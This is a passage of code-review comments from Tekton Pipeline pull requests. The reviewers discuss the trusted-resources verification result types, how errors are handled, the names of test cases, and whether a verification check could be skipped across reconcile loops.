"created_at": "2023-05-15T20:48:09Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6663, "repo": "pipeline"} +{"author": "lbernick", "body": ">> Does this need a mode for when verification policies match but fail?\r\n> Yes, in this case the matched policy should set the mode to 'warn'\r\n\r\nNot sure I understand this-- It seems like each policy has its own mode; some of which are error and some of which are warn. It seems like \"WarnModeVerificationFail\" is for when some policies matched, and only ones in \"warn\" mode failed, i.e. all in \"error\" mode passed. It also seems like \"WarnNoMatchPolicy\" is for when no policies matched, and the cluster operator has set `trusted-resources-verification-no-match-policy` to \"warn\". I'm describing the scenario where some policies match, they are in \"error\" mode, and verification fails, which is different from those two scenarios.\r\n\r\n> How about when no policies match but this is allowed?\r\n>> when no policies match should be the case of IgnoreNoMatchPolicy or WarnNoMatchPolicy?\r\n\r\nYes, I'm referring to when a cluster operator has set `trusted-resources-verification-no-match-policy` to \"ignore\", and no policies match. It doesn't seem to me like any of the options here map to that scenario.", "comment_id": 1194357434, "created_at": "2023-05-15T20:58:43Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6663, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "> I'm describing the scenario where some policies match, they are in \"error\" mode, and verification fails, which is different from those two scenarios.\r\n\r\nOh I see. In that case we will return error directly. All the 4 types here are used when no error is returned. So failing the \"enforce\" (the \"error\" as you mentioned) should not be considered here.", "comment_id": 1194367187, "created_at": "2023-05-15T21:11:16Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6663, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "> I'm referring to when a cluster operator has set trusted-resources-verification-no-match-policy to \"ignore\", and no policies match\r\n\r\nIt matches the type `IgnoreNoMatchPolicy`, maybe I should update the naming and docstrings? ", "comment_id": 1194368268, "created_at": "2023-05-15T21:12:43Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6663, "repo": "pipeline"} +{"author": "lbernick", "body": "oh oops-- I meant no matches, and FailNoMatchPolicy. My main question here is whether it would be confusing to have some errors handled differently than other errors? Would there be no verificationResult if verification fails entirely>", "comment_id": 1194418339, "created_at": "2023-05-15T22:21:33Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6663, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Oh yes, there will be no `verificationResult` if verification fails entirely (then an error is returned). I'm not really good at naming \ud83d\ude02 . I think the `verificationResult` might be confusing(though I explained in the docstrings) since it seems to includes fail and pass results, but I want to only use it for cases not including fail", "comment_id": 1195166290, "created_at": "2023-05-16T13:27:26Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6663, "repo": "pipeline"} +{"author": "lbernick", "body": "Chatted offline with Yongxuan-- VerificationError has been added but I think we still need an option for no match + fail", "comment_id": 1195569711, "created_at": "2023-05-16T18:51:14Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6663, "repo": "pipeline"} +{"author": "lbernick", "body": "Suggest more consistency in naming, e.g.\r\n```\r\nNoMatchingPoliciesIgnore\r\nNoMatchingPoliciesWarn\r\nNoMatchingPoliciesError\r\nVerificationWarning\r\nVerificationFailed\r\nVerificationPassed\r\n```\r\nAlso I think we still need a mode for no matching policies + failure?", "comment_id": 1195570106, "created_at": "2023-05-16T18:51:32Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6663, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "no matching policies + failure belongs to VerificationError, all previous returned error cases go into this case since we don't need to have different types for them, there will be only 1 case when updating the condition.\r\n\r\n", "comment_id": 1195575685, "created_at": "2023-05-16T18:57:02Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6663, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "How about this? \r\n```\r\nVerificationError\r\nVerificationWarn\r\nVerificationSuccess\r\nVerificationSkip\r\n```\r\nI realized that NoMatchingPoliciesWarn and WarnModeVerificationFail are actually the same case when updating the condition ", "comment_id": 1195577634, "created_at": "2023-05-16T18:59:06Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6663, "repo": "pipeline"} +{"author": "chuangw6", "body": "My 2c:\r\nwhat result mode we need here depends on what the tekton controller will be doing with different verification result and what level of details we want to surface to the users. @Yongxuanzhang Can you please add some details to the PR description about that?", "comment_id": 1195583735, "created_at": "2023-05-16T19:05:24Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6663, "repo": "pipeline"} +{"author": "lbernick", "body": "This could also happen if there are no matching policies and \"no-match-policy\" is set to \"fail\" right?", "comment_id": 1195595529, "created_at": "2023-05-16T19:17:39Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6663, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "ah yes, I missed that case, will add now", "comment_id": 1195597429, "created_at": "2023-05-16T19:18:56Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6663, "repo": "pipeline"} +{"author": "chuangw6", "body": "Just minor comment: can we use the corresponding int for each mode?\r\n\r\n```suggestion\r\n\t// 0 (VerificationSkip): The verification was skipped. Err is nil in this case.\r\n\t// 1 (VerificationPass): The verification passed. Err is nil in this case.\r\n\t// 2 (VerificationWarn): A warning is logged. It could be no matching policies and feature flag \"no-match-policy\" is \"warn\", or only Warn mode verification policies fail.\r\n\t// 3 (VerificationError): The verification failed, it could be the signature doesn't match the public key, no matching policies and \"no-match-policy\" is set to \"fail\" or there are errors during verification.\r\n```", "comment_id": 1195615302, "created_at": "2023-05-16T19:38:21Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6663, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks! Good suggestion!", "comment_id": 1195622465, "created_at": "2023-05-16T19:44:27Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6663, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Those lines of code are temporary changes, will be updated in next PR", "comment_id": 1195703030, "created_at": "2023-05-16T21:25:31Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "lbernick", "body": "I think if the result type is VerificationError, that would signify an error even if the message is nil, and we would just have to decide what error to return. Are there any cases where result type could be error, with vr.Err = nil?", "comment_id": 1196665075, "created_at": "2023-05-17T15:02:52Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "lbernick", "body": "why return a pointer to a VerificationResult instead of a VerificationResult? That way, we don't have to worry about nil checks/nil pointer dereferencing, and what it means if VerifyTask returns nil. Same for VerifyPipeline.", "comment_id": 1196666221, "created_at": "2023-05-17T15:03:36Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "lbernick", "body": "```suggestion\r\n// 3) Return VerificationResult with VerificationWarn type, when no matching policies and feature flag \"no-match-policy\" is \"warn\", or only Warn mode verification policies fail. Err field is filled with the warning;\r\n```", "comment_id": 1196667054, "created_at": "2023-05-17T15:04:05Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "lbernick", "body": "is this different from ErrNoMatchedPolicies?", "comment_id": 1196668241, "created_at": "2023-05-17T15:04:44Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "lbernick", "body": "would it make sense to return a multierror of some kind, instead of the first error?", "comment_id": 1196670133, "created_at": "2023-05-17T15:05:50Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "lbernick", "body": "would it make sense to break this into a helper function?", "comment_id": 1196671558, "created_at": "2023-05-17T15:06:39Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "~~that's a good point! I don't think there are any cases where result type could be error, with vr.Err = nil. \r\nI will update this~~\r\n\r\nIf we want to return `vr.Err` here, we need to check if it is nil to avoid possible nil pointer? Even though it is not supposed to be nil?", "comment_id": 1196695629, "created_at": "2023-05-17T15:21:06Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Oh I think it's because my previous code return both VerificationResult and error, and it could be nil. I will update this to not return a pointer", "comment_id": 1196699092, "created_at": "2023-05-17T15:23:36Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "this err could be ErrNoMatchedPolicies or other errors from getMatchedPolicies, e.g. ErrRegexMatch", "comment_id": 1196703146, "created_at": "2023-05-17T15:25:56Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I was also thinking about this yesterday and I think it makes sense to return all failed policies in the error, \r\nmaybe add a todo here? \r\n ", "comment_id": 1196707832, "created_at": "2023-05-17T15:29:37Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "did you mean the for loop of verifiers or loop over policies? \r\nI tried to add a helper for the loop over policies but I think it may reduce the readability and not easy to debug. \r\nFor the loop of verifiers, it's only 4 lines of code, maybe no need to wrap them?\r\n", "comment_id": 1196710440, "created_at": "2023-05-17T15:31:42Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "lbernick", "body": "sounds good! can you create an issue to track this and link here in the comments?", "comment_id": 1196872076, "created_at": "2023-05-17T17:49:43Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "lbernick", "body": "checking if it's nil when creating the error message is fine, the point I was trying to make was just more that if vr has a VerificationError, we should probably still be returning an error rather than nil", "comment_id": 1196874555, "created_at": "2023-05-17T17:52:15Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "lbernick", "body": "I was referring to the verifier loop. I still think it makes sense, since e.g. what if we decided to change the logic to \"and\" instead of \"or\"?", "comment_id": 1196875902, "created_at": "2023-05-17T17:53:43Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Oh I see. It would be something like this?\r\n```\r\nif vr.VerificationResultType == trustedresources.VerificationError {\r\nif vr.Err != nil{\r\nreturn vr.Err\r\n}else{\r\nreturn fmt.Error(\"....\")\r\n}\r\n}\r\n```\r\nI just feel like there's no need to change it, we will return the vr directly in next PR", "comment_id": 1197921430, "created_at": "2023-05-18T14:48:17Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure! added a helper function", "comment_id": 1197946501, "created_at": "2023-05-18T15:10:49Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "added a todo", "comment_id": 1197946924, "created_at": "2023-05-18T15:11:13Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "lbernick", "body": "right now if error is nil but vr.VerificationResultType is trustedresources.VerificationError, we treat this as if there's no error, that doesn't seem right to me.\r\nI would do\r\n```\r\nif vr.VerificationResultType == trustedresources.VerificationError {\r\n if err != nil { /* same as what exists */ }\r\n return nil, fmt.Errorf(\"remote Pipeline verification failed for object %s\", obj.GetName())\r\n}\r\n```", "comment_id": 1197959881, "created_at": "2023-05-18T15:23:06Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "lbernick", "body": "```suggestion\r\nfunc doesAnyVerifierPass(resource metav1.Object, signature []byte, verifiers []signature.Verifier) bool {\r\n```", "comment_id": 1197960605, "created_at": "2023-05-18T15:23:46Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "lbernick", "body": "wouldn't it make sense to do the same thing for the warning then? if this error adds more context, that's probably also useful for the warning", "comment_id": 1197961795, "created_at": "2023-05-18T15:24:51Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "ok", "comment_id": 1197964350, "created_at": "2023-05-18T15:27:12Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Oh sorry, I see the issue, I should return a wrapped error for warning as well, we do have information wrapped in the err and shouldn't return a new err directly", "comment_id": 1197973351, "created_at": "2023-05-18T15:35:34Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "updated", "comment_id": 1197976276, "created_at": "2023-05-18T15:38:21Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "thanks!", "comment_id": 1197976442, "created_at": "2023-05-18T15:38:31Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "updated", "comment_id": 1197976734, "created_at": "2023-05-18T15:38:46Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "lbernick", "body": "why create the variables `pass` and `passverification`? do they have different purposes?", "comment_id": 1198175880, "created_at": "2023-05-18T18:42:38Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "oh yes, thanks! That was a mistake \ud83d\ude1e ", "comment_id": 1198196079, "created_at": "2023-05-18T18:59:19Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "chuangw6", "body": "I feel that having this logic after getting matched policies inside VerifyTask has 2 problems: 1). it makes the steps in function VerifyTask look like too long and hard to understand. 2). duplicated code exists in VerifyPipeline.\r\n\r\n2 suggestions:\r\n- Can we nest this logic checking config into `getMatchedPolicies` function itself by passing the context to it? We can refactor `getMatchedPolicies` so that it returns 2 things: `[]*v1alpha1.VerificationPolicy` and `*VerificationResult`? If returned `*VerificationResult` is not nil, we just return the result from inside VerifyTask. If nil, proceed to next step.\r\n- Also, can we just rename `getMatchedPolicies ` to `matchPolicies`? see https://google.github.io/styleguide/go/decisions#getters. Perhaps also add a doc string to this function though it's not exported b/c it has a bit more logics.\r\n\r\nThis will help mitigate the 2 problems mentioned above.\r\n", "comment_id": 1198325509, "created_at": "2023-05-18T21:30:04Z", "line": 92, "path": "pkg/trustedresources/verify.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "chuangw6", "body": "Just to be consistent.\r\n```suggestion\r\n\t// then evaluate all warn policies. Return VerificationWarn type of VerificationResult if any warn policies fails.\r\n```", "comment_id": 1198328241, "created_at": "2023-05-18T21:34:12Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "chuangw6", "body": "We also returned error in WarnNoMatchPolicy case. Just curious: shouldn't we propagate that as well instead of cutting it off here?", "comment_id": 1198331101, "created_at": "2023-05-18T21:38:34Z", "line": 159, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "WarnNoMatchPolicy case will get VerificationWarn type of VerificationResult right? So we don't consider that to be an error. ", "comment_id": 1198346778, "created_at": "2023-05-18T22:00:17Z", "line": 159, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks! This is a reasonable suggestion. I'm planing to merge these 2 functions into 1. Maybe we could leave this non-related change in the refactoring PR? \r\n\r\nIf think we have docstrings for `getMatchedPolicies`.", "comment_id": 1198351204, "created_at": "2023-05-18T22:08:03Z", "line": 92, "path": "pkg/trustedresources/verify.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "For the naming, I think the doc you linked is for `getter`, which is used as a member function to return some data from the struct, I think it is different from what we have here?", "comment_id": 1198354741, "created_at": "2023-05-18T22:14:32Z", "line": 92, "path": "pkg/trustedresources/verify.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks!", "comment_id": 1198354856, "created_at": "2023-05-18T22:14:45Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "chuangw6", "body": "Doing this in another PR SGTM.\r\n\r\nThe naming standard is for both functions and member methods. \"Function and method names should not use a Get or get prefix\".\r\n", "comment_id": 1199019865, "created_at": "2023-05-19T14:19:54Z", "line": 92, "path": "pkg/trustedresources/verify.go", "pr_number": 6673, "repo": "pipeline"} +{"author": "lbernick", "body": "Would it make sense for a verificationResult to be a field of a ResolvedPipelineTask or a ResolvedTask? This would probably be less confusing for matrix.", "comment_id": 1202230491, "created_at": "2023-05-23T12:24:35Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "lbernick", "body": "It looks like this verification result is associated with a Task. this error message may be misleading.", "comment_id": 1202291010, "created_at": "2023-05-23T13:02:26Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yes that totally makes sense! Thanks!", "comment_id": 1202864400, "created_at": "2023-05-23T19:00:07Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Good point! Thx!\r\n", "comment_id": 1202866254, "created_at": "2023-05-23T19:01:55Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "lbernick", "body": "this change can be reverted", "comment_id": 1204459963, "created_at": "2023-05-24T16:13:00Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "lbernick", "body": "It looks like this comment may already not be in sync with the test cases-- I think it may lead to confusion", "comment_id": 1204464951, "created_at": "2023-05-24T16:15:45Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "lbernick", "body": "I am having trouble telling if there is a matching policy here. I'm guessing there is because we have `FailNoMatchPolicy`, but the VerificationResult is a warning, but I'm still a bit confused.", "comment_id": 1204466873, "created_at": "2023-05-24T16:17:09Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "lbernick", "body": "Is this different from the previous test case?", "comment_id": 1204467614, "created_at": "2023-05-24T16:17:50Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "lbernick", "body": "This test case is called `TestGetTaskFunc_VerifySuccess`, but there are some \"warning\" cases in here. Would it make sense to either rename the test case or create a separate one for warnings?", "comment_id": 1204469808, "created_at": "2023-05-24T16:19:40Z", "line": 798, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "lbernick", "body": "is this different from the previous test case?", "comment_id": 1204470682, "created_at": "2023-05-24T16:20:29Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "lbernick", "body": "```suggestion\r\n\t\tname: \"unsigned task fails verification with fail no match policy\",\r\n```", "comment_id": 1204470979, "created_at": "2023-05-24T16:20:48Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "lbernick", "body": "can you add a comment about verification result here?", "comment_id": 1204472400, "created_at": "2023-05-24T16:22:04Z", "line": 37, "path": "pkg/reconciler/taskrun/resources/taskspec.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "lbernick", "body": "Can you reword the bit of the PR description that states \"The VerificationResult will be used to update taskrun and pipelinerun status in followup PR\"? I think it is slightly misleading here", "comment_id": 1204475083, "created_at": "2023-05-24T16:24:27Z", "line": null, "path": "pkg/reconciler/taskrun/taskrun.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "lbernick", "body": "It looks like we might not have test coverage for Warn mode verification policies. Could we add this in a separate PR?", "comment_id": 1204476551, "created_at": "2023-05-24T16:25:47Z", "line": null, "path": "test/trustedresources.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure", "comment_id": 1204505405, "created_at": "2023-05-24T16:51:32Z", "line": null, "path": "test/trustedresources.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "The only difference is whether we have policies in the cluster, I think we could leave 1 case here", "comment_id": 1204509765, "created_at": "2023-05-24T16:54:39Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks! We can remove this one. ", "comment_id": 1204511084, "created_at": "2023-05-24T16:55:37Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yes, this test case is used to test when a task fails `warn` mode policy, the verification result should be warn type. Maybe I should rename the test name to \"task fails warn mode policy return warn verificationresult\"", "comment_id": 1204517264, "created_at": "2023-05-24T17:01:27Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "lbernick", "body": "can you update the docstring of this function?", "comment_id": 1205650705, "created_at": "2023-05-25T15:00:44Z", "line": 634, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "lbernick", "body": "To clarify, I suggest removing the comment, and letting test case names serve as documentation, because the comment can easily become out of sync and cause confusion.", "comment_id": 1205652072, "created_at": "2023-05-25T15:01:40Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "lbernick", "body": "```suggestion\r\n\t\tname: \"unsigned task fails verification with warn no match policy\",\r\n```", "comment_id": 1205653938, "created_at": "2023-05-25T15:03:07Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "lbernick", "body": "```suggestion\r\n\t\tname: \"unsigned task fails verification with ignore no match policy\",\r\n```", "comment_id": 1205654085, "created_at": "2023-05-25T15:03:14Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "lbernick", "body": "can you please make that change first?", "comment_id": 1205654642, "created_at": "2023-05-25T15:03:40Z", "line": null, "path": "test/trustedresources.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "okk", "comment_id": 1205659252, "created_at": "2023-05-25T15:07:28Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "chuangw6", "body": "Should we add a todo with a link to the tracking issue here to indicate that verificaition for in-cluster task will be done later?", "comment_id": 1205871537, "created_at": "2023-05-25T18:23:49Z", "line": 212, "path": "pkg/reconciler/taskrun/resources/taskref.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "chuangw6", "body": "`ResolvedObjectMeta` is aimed for passing the meta data together instead of via separate fields i.e. RefSource, objectmeta. I think we can add `VerificationResult` as a new subfield into the struct `ResolvedObjectMeta` so that we don't have to introduce a new returned field for the verification result.", "comment_id": 1206092061, "created_at": "2023-05-25T23:40:52Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskspec.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "chuangw6", "body": "This concerns me a bit that in `default` case of the switch block above, we store the resolved task spec into run status ***before*** checking the verification result. \r\n\r\nI am imaging a case where \r\n- in the 1st reconcile loop, the verification hasn't finished -> so verificationResult is nil -> we execute the following logics. But note, we have stored the resolved spec into status.\r\n- in the 2nd reconcile loop, the verification finished -> the actual verificationResult should have some error -> but\r\n`GetTaskFuncFromTaskRun` returns a `getTaskfunc` which will return nil `verificationResult` b/c `GetTaskFuncFromTaskRun` sees a spec from the status.\r\n\r\nThis might surpass the trusted resources verification. WDYT?", "comment_id": 1206100158, "created_at": "2023-05-26T00:01:30Z", "line": 353, "path": "pkg/reconciler/taskrun/taskrun.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "That's a very interesting thought! If that case happens then yes the verification will be skipped. \r\nBut this is not async code, I don't know if this will happen -- \"the verification hasn't finished but we call the storeTaskSpecAndMergeMeta\".\r\n\r\nDo you have an example to prove that case? ", "comment_id": 1206225889, "created_at": "2023-05-26T04:24:03Z", "line": 353, "path": "pkg/reconciler/taskrun/taskrun.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks! great suggestion!", "comment_id": 1206228673, "created_at": "2023-05-26T04:31:01Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskspec.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "lbernick", "body": "It looks like this is ignoring a return value error. can you use t.fatalf instead?", "comment_id": 1206777108, "created_at": "2023-05-26T13:22:29Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskspec_test.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "lbernick", "body": "Great point Chuang-- this seems like something that we could add unit tests to cover?", "comment_id": 1206779892, "created_at": "2023-05-26T13:24:22Z", "line": 353, "path": "pkg/reconciler/taskrun/taskrun.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "We already have tests in reconciler level: https://github.com/tektoncd/pipeline/blob/d4ff4305c2e7b4b56cbb6c781845e98f9a4d7db2/pkg/reconciler/taskrun/taskrun_test.go#L4980 \r\nThis test makes sure that at the 1st reconcile loop, we could get the verification error. If the case as @chuangw6 illustrated may happen, then this will become a flaky test right? ", "comment_id": 1206964955, "created_at": "2023-05-26T15:32:01Z", "line": 353, "path": "pkg/reconciler/taskrun/taskrun.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "lbernick", "body": "Can you expand on your concern about why these unit tests might be flaky? You can write unit tests that test results of a reconcile loop that isn't the first one. It sounds like we're looking for a unit test where we previously fetched a resolved spec and stored it in the taskrun status, and now a verification result is available. We'd want to ensure that GetTaskData returns this verification result, rather than a nil verification result. Does this sound like A. something that can happen and B. something that's feasible to add unit tests for?", "comment_id": 1207185305, "created_at": "2023-05-26T18:30:50Z", "line": 353, "path": "pkg/reconciler/taskrun/taskrun.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I was saying if Chuang's case is true, then current existing unit tests will be flaky, since we may not get error from trusted resources verification. So I don't think this is possible (again I may be wrong) ", "comment_id": 1207191359, "created_at": "2023-05-26T18:39:56Z", "line": 353, "path": "pkg/reconciler/taskrun/taskrun.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Discussed with @lbernick offline, to summarize I think this is a good point but I don't think it will happen. \r\nThough remote resolution seems async, but it is achieved by returning ErrRequestInProgress, https://github.com/tektoncd/pipeline/blob/163ec59f2ccb05dc0aa804de40ac5eb85cd3c7ce/pkg/reconciler/taskrun/taskrun.go#L330-L333 so taskrun will continue to next reconcile loop until we fetch the task. \r\n\r\nBut trusted resources verification is currently bundled with remote resolution, the verification will only happen when remote resolution is successful. So in multiple reconcile loops, the remote resolution and verification will be called together in one loop. And `storeTaskSpecAndMergeMeta` will be called only when remote resolution is done and we return the VerificationResult\r\n\r\nAnother case is that, for the following loops after the remote resolution and verification, since we execute `storeTaskSpecAndMergeMeta`, GetTaskFuncFromTaskRun will return a taskspec and nil VerificationResult, but this is expected since we don't need to verify it if it has been verified before. ", "comment_id": 1207204878, "created_at": "2023-05-26T18:56:50Z", "line": 353, "path": "pkg/reconciler/taskrun/taskrun.go", "pr_number": 6691, "repo": "pipeline"} +{"author": "lbernick", "body": "can this block be moved out of the switch statement? I think `metav1.Object` should have ObjectMeta.\r\n\r\nCan you also link the TODO for supporting v1 task/pipeline verification?", "comment_id": 1206785556, "created_at": "2023-05-26T13:28:18Z", "line": 100, "path": "pkg/trustedresources/verify.go", "pr_number": 6724, "repo": "pipeline"} +{"author": "lbernick", "body": "can you update the reference to \"task\" here?", "comment_id": 1206787209, "created_at": "2023-05-26T13:29:22Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6724, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I tried but metav1.Object doesn't have ObjectMeta, it is an interface and has lots of methods. \r\n", "comment_id": 1206953988, "created_at": "2023-05-26T15:24:02Z", "line": 100, "path": "pkg/trustedresources/verify.go", "pr_number": 6724, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "thanks!", "comment_id": 1206955019, "created_at": "2023-05-26T15:24:48Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6724, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Wondering if we should preserve refactored functions like what we did for deprecated fields if that would be better for users? ie. func VerifyTask(..., task, ...) {VerifyResource(..., task, ...)} ?", "comment_id": 1207189767, "created_at": "2023-05-26T18:37:36Z", "line": 73, "path": "pkg/trustedresources/verify.go", "pr_number": 6724, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "That's a good point, \ud83e\udd14 Let me 